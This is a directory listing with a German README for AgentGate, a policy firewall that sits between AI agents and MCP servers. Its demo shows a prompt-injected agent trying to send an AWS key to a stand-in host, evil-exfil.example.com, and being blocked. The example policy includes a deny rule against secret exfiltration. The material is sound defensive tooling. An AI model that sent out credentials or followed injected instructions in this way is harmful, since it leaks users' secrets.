Skip to main content
Glama

AgentGate

Die Open-Source-Firewall für KI-Agenten. AgentGate sitzt zwischen einem MCP-Client (wie Claude Code) und den nachgelagerten MCP-Servern, mit denen er spricht, bewertet jeden Tool-Aufruf anhand einer Richtlinie, die Sie kontrollieren, und führt eine manipulationssichere Prüfspur darüber, was passiert ist.

AgentGate Control Center – Live-Zeitleiste erlaubter und abgelehnter Tool-Aufrufe

Ein blockierter Angriff, Ende zu Ende

Ein per Prompt-Injection kompromittierter Agent versucht, einen AWS-Schlüssel über HTTP zu exfiltrieren. AgentGate lehnt ihn ab, schwärzt den Schlüssel, bevor er jemals die Festplatte berührt, und zeichnet eine verifizierbare Prüfspur auf – alles aus echtem, eingechecktem Richtlinien- und Gateway-Code, nicht aus einem Mockup:

Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.

Tool called: network.request
Target URL:  https://evil-exfil.example.com/collect

Gateway Response: {
  content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
  isError: true
}
Step 1 — Policy decision: ✅ DENIED

Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.

Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).

Führen Sie es selbst aus: node examples/secret-exfiltration/demo.mjs (siehe Demo und Verifizierung).

Related MCP server: Proofpane

Projektstatus

Frühe Entwicklung / Research-Qualitäts-MVP. AgentGate implementiert eine echte Richtlinien-Engine, einen echten MCP-stdio-Proxy, einen echten manipulationssicheren Prüfspeicher und eine echte Control-Center-UI – alles abgedeckt durch ausführbare Tests und eine End-to-End-Angriffsdemo (siehe docs/VERIFICATION.md). Es ist nicht produktionsreif: Es gibt keine Authentifizierung über ein lokales Token pro Start hinaus, keine Mehrbenutzerunterstützung, kein Replay, und die MCP-Protokollunterstützung ist derzeit nur Legacy-stdio aus der 2025-Ära (siehe Unterstützte Integrationen). Lesen Sie docs/THREAT_MODEL.md, bevor Sie sich für etwas Sensibles darauf verlassen.

Fünf-Minuten-Schnellstart

Erfordert Node.js 20+ und pnpm (siehe .nvmrc / packageManager in package.json). Alles unten ist repository-lokal – kein veröffentlichtes npm-Paket erforderlich.

git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build

# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml

# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.yml

Das Gateway gibt beim Start eine lokale Control-Center-URL und ein einmaliges Authentifizierungstoken auf stderr aus. Öffnen Sie die URL, fügen Sie das Token ein, wenn Sie dazu aufgefordert werden, und richten Sie Ihren MCP-Client (z. B. Claude Code) auf den stdio-Befehl des Gateways aus, anstatt direkt auf den nachgelagerten Server. Die vollständige Anleitung, einschließlich der Ausführung des Control Centers im Dev-Modus, finden Sie unter docs/QUICKSTART.md.

Wie AgentGate passt

 MCP client              AgentGate gateway                 Downstream MCP server
(Claude Code, …)  ─────▶  stdio proxy → policy engine  ─────▶  (filesystem, network, …)
                              │                 │
                              ▼                 ▼
                         audit storage     Control Center
                          (SQLite,          (local web UI,
                        hash-chained)      loopback only)

AgentGate spricht auf beiden Seiten MCP: Es ist ein Server für Ihren MCP-Client und ein Client für den echten nachgelagerten MCP-Server. Jeder Tool-Aufruf, den es weiterleitet, wurde bereits bewertet, und jede Entscheidung – erlauben, ablehnen, schwärzen oder zur menschlichen Genehmigung zurückhalten – wird aufgezeichnet, bevor der Aufruf den echten Server erreicht (oder davon abgehalten wird). Das vollständige Sequenzdiagramm finden Sie unter docs/ARCHITECTURE.md.

Kernfunktionen

  • Richtlinien-Engine – deklarative YAML-Regeln, abgeglichen nach Agent, Tool, Pfad, Befehl, Host und Secret-Inhalt; erste Übereinstimmung gewinnt; sichere Standard-Verweigerung.

  • Vier Entscheidungstypenallow, deny, require_approval (Human-in-the-Loop, TTL-gebunden, einmalig) und allow_with_transform (bestimmte Felder schwärzen, dann weiterleiten).

  • Tiefgehende Secret-Schwärzung – AWS-/GitHub-/OpenAI-/Anthropic-Schlüsselmuster, Bearer-Tokens, Private-Key-Header und DB-Verbindungsstrings werden erkannt und aus jedem gespeicherten Prüfdatensatz geschwärzt, unabhängig von der Entscheidung.

  • Manipulationssichere Prüfspur – jedes Ereignis ist ein SHA-256-hash-verketteter, append-only-Datensatz in SQLite; agentgate audit verify geht die Kette unabhängig erneut durch und verifiziert sie.

  • Control Center – eine lokale, nur-Loopback-Web-UI: Live-SSE-Zeitleiste, Genehmigungswarteschlange, Ereignisdetails mit Schwärzungs- und Hash-Ketten-Anzeige sowie die aktuell geladene Richtlinie.

  • Path-Traversal-Abwehr – Pfadargumente werden normalisiert (../. aufgelöst, Trennzeichen vereinheitlicht), bevor sie abgeglichen oder gespeichert werden.

Beispielrichtlinie

version: 1

defaults:
  decision: deny

rules:
  - id: allow-project-reads
    description: Allow reading files inside the project root.
    agents: ["claude-code"]
    tools: ["read_file", "list_directory"]
    paths: ["${PROJECT_ROOT}/**"]
    decision: allow

  - id: approve-file-writes
    description: Require approval before writing any file.
    tools: ["write_file", "create_directory"]
    decision: require_approval
    approval_ttl_seconds: 120

  - id: block-secret-exfiltration
    description: Block network requests that appear to carry secrets or API keys.
    tools: ["network.*", "fetch", "http_request"]
    contains_secrets: true
    decision: deny

Vollständige Feldreferenz, Abgleichsemantik und ausgearbeitete Beispiele: docs/POLICY_REFERENCE.md.

CLI

agentgate start [config.yml]     # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml]  # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config]  # Independently re-verify the tamper-evident audit chain

agentgate ist packages/gateway/dist/cli.js nach pnpm run build (noch nicht auf npm veröffentlicht – siehe Projektstatus). Führen Sie es als node packages/gateway/dist/cli.js <command> vom Repository-Stamm aus oder über das Workspace-Bin aus packages/gateway heraus aus.

Control Center

Eine nur-lokale React-UI, die in der Entwicklung von Vite bereitgestellt wird und über den control_port erreichbar ist, der in Ihrer Gateway-YAML konfiguriert ist:

  • Übersicht – Live-Risikoindikator, Erlauben/Verweigern/Ausstehend-Zähler, aktuelle Hochrisiko-Ereignisse.

  • Zeitleiste – jeder abgefangene Tool-Aufruf in Echtzeit über Server-Sent Events.

  • Genehmigungen – ausstehende require_approval-Anfragen mit Countdown bis zum TTL-Ablauf; Verweigern ist die visuell primäre Aktion.

  • Ereignisdetails – vollständige Entscheidungsablaufverfolgung, geschwärzte Argumente und die Position des Ereignisses in der Hash-Kette.

  • Richtlinien – die aktuell geladene Richtliniendatei und eine Referenz der Entscheidungstypen (in diesem Meilenstein schreibgeschützt).

Es authentifiziert sich mit einem zufälligen Token pro Start (beim Start auf stderr des Gateways ausgegeben), das als x-agentgate-token-Header oder als token-Query-Parameter für den SSE-Stream gesendet wird. Siehe Sicherheitsmodell für das, wogegen dies schützt und wogegen nicht.

Unterstützte Integrationen

Integration

Transport

Protokoll-Ära

Status

Nachweis

Claude Code (und jeder MCP-Client, der den Legacy-stdio-Transport verwendet)

stdio

nur Legacy 2025-Ära

Unterstützt

packages/gateway/src/transport/stdio.ts; Ende-zu-Ende getestet durch examples/secret-exfiltration/demo.mjs

Jeder nachgelagerte MCP-Server über stdio

stdio

Legacy 2025-Ära

Unterstützt

packages/gateway/src/pipeline.ts (executeDownstream), packages/gateway/src/config/registry.ts

Modernes zustandsloses MCP (2026-07-28)

HTTP/zustandslos

modern

Nicht implementiert

Aufgeschoben durch ADR-0005; McpEra-Typ existiert in packages/protocol für Vorwärtskompatibilität, aber nur 'legacy-2025' wird heute ausgegeben

Nachgelagerte MCP-Server über streamable HTTP

HTTP

Nicht implementiert

packages/gateway/src/config/registry.ts akzeptiert ein HttpServerSchema in der Konfiguration, aber pipeline.ts führt nur stdio-Server aus

Wenn Sie heute Unterstützung für die moderne Ära oder HTTP-Transport benötigen, ist AgentGate noch nicht die richtige Wahl – verfolgen Sie ADR-0005 für den Status.

Sicherheitsmodell und Einschränkungen

AgentGate behandelt die Agentenidentität als nicht vertrauenswürdig: declared_name/declared_version sind selbst gemeldet und dienen nur der Anzeige, niemals der Autorisierung (verified_identity ist immer false). Richtlinienentscheidungen werden ausschließlich aus Tool-Name, normalisiertem Pfad, Befehl, Host und erkanntem Secret-Inhalt getroffen.

Was die Prüfkette beweist und was nicht: Der SHA-256-Hash jedes Prüfdatensatzes deckt den Hash des vorherigen Datensatzes ab, sodass das stille Bearbeiten oder Löschen eines früheren Datensatzes die Kette bricht und agentgate audit verify es erkennen wird. Dies ist manipulationserkennend, nicht manipulationssicher, und bietet keine Nichtabstreitbarkeitsgarantie – ein lokaler Administrator mit Dateisystemzugriff auf die SQLite-Datenbank kann die gesamte Datei ersetzen und eine selbstkonsistente Kette von Grund auf neu generieren. Es gibt keine externe Verankerung. Das vollständige Modell, einschließlich indirekter Prompt-Injection, bösartiger nachgelagerter Server, Genehmigungs-Replay und Denial-of-Service-Risiken, die dieser Meilenstein noch nicht entschärft, finden Sie unter docs/THREAT_MODEL.md.

Architektur

Komponentenverantwortlichkeiten, System- und Sequenzdiagramme, das Prüfdatenmodell und Vertrauensgrenzen: docs/ARCHITECTURE.md.

Demo und Verifizierung

node examples/secret-exfiltration/demo.mjs   # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test                                # unit/integration tests (policy + gateway)
pnpm run lint                                # type-aware lint gate across the whole workspace

Alles, was die Demo und die Testsuite behaupten, wird in docs/VERIFICATION.md gegengeprüft.

Entwicklung und Beiträge

Workspace-Layout, lokales Ausführen von Gateway und Control Center, Hinzufügen von Richtlinienregeln und Tests: docs/DEVELOPMENT.md. Beitragsprozess, Sicherheitsauswirkungen-Erwartungen für PRs und Konventionen für das Entscheidungsprotokoll: CONTRIBUTING.md. Eine Schwachstelle gefunden? Siehe SECURITY.md – bitte kein öffentliches Issue eröffnen.

Lizenz

Apache License 2.0.

A
license - permissive license
Not graded
quality - not tested
B
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • F
    license
    Not graded
    quality
    Not graded
    maintenance
    A transparent proxy and execution firewall that intercepts and audits AI agent tool calls against configurable security policies before forwarding them to downstream MCP servers. It provides safe execution environments with features like data redaction, anti-loop protection, and unified alert dispatching.
  • A
    license
    B
    quality
    A
    maintenance
    A governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.
    13
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    A policy-enforcing MCP gateway that intercepts all tool calls to downstream MCP servers, applying allow/deny/ask rules with human approval and audit logging for safe access to dangerous tools.
    23
    MIT
  • F
    license
    Not graded
    quality
    C
    maintenance
    MCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.

View all related MCP servers

Related MCP Connectors

  • Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.

  • Crypto transaction firewall and risk tools for MCP agents.

  • See, price, and control every tool call your AI agents make: policy checks, cost, and audit tools.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/chidhvilasa/agentgate'

If you have feedback or need assistance with the MCP directory API, please join our Discord server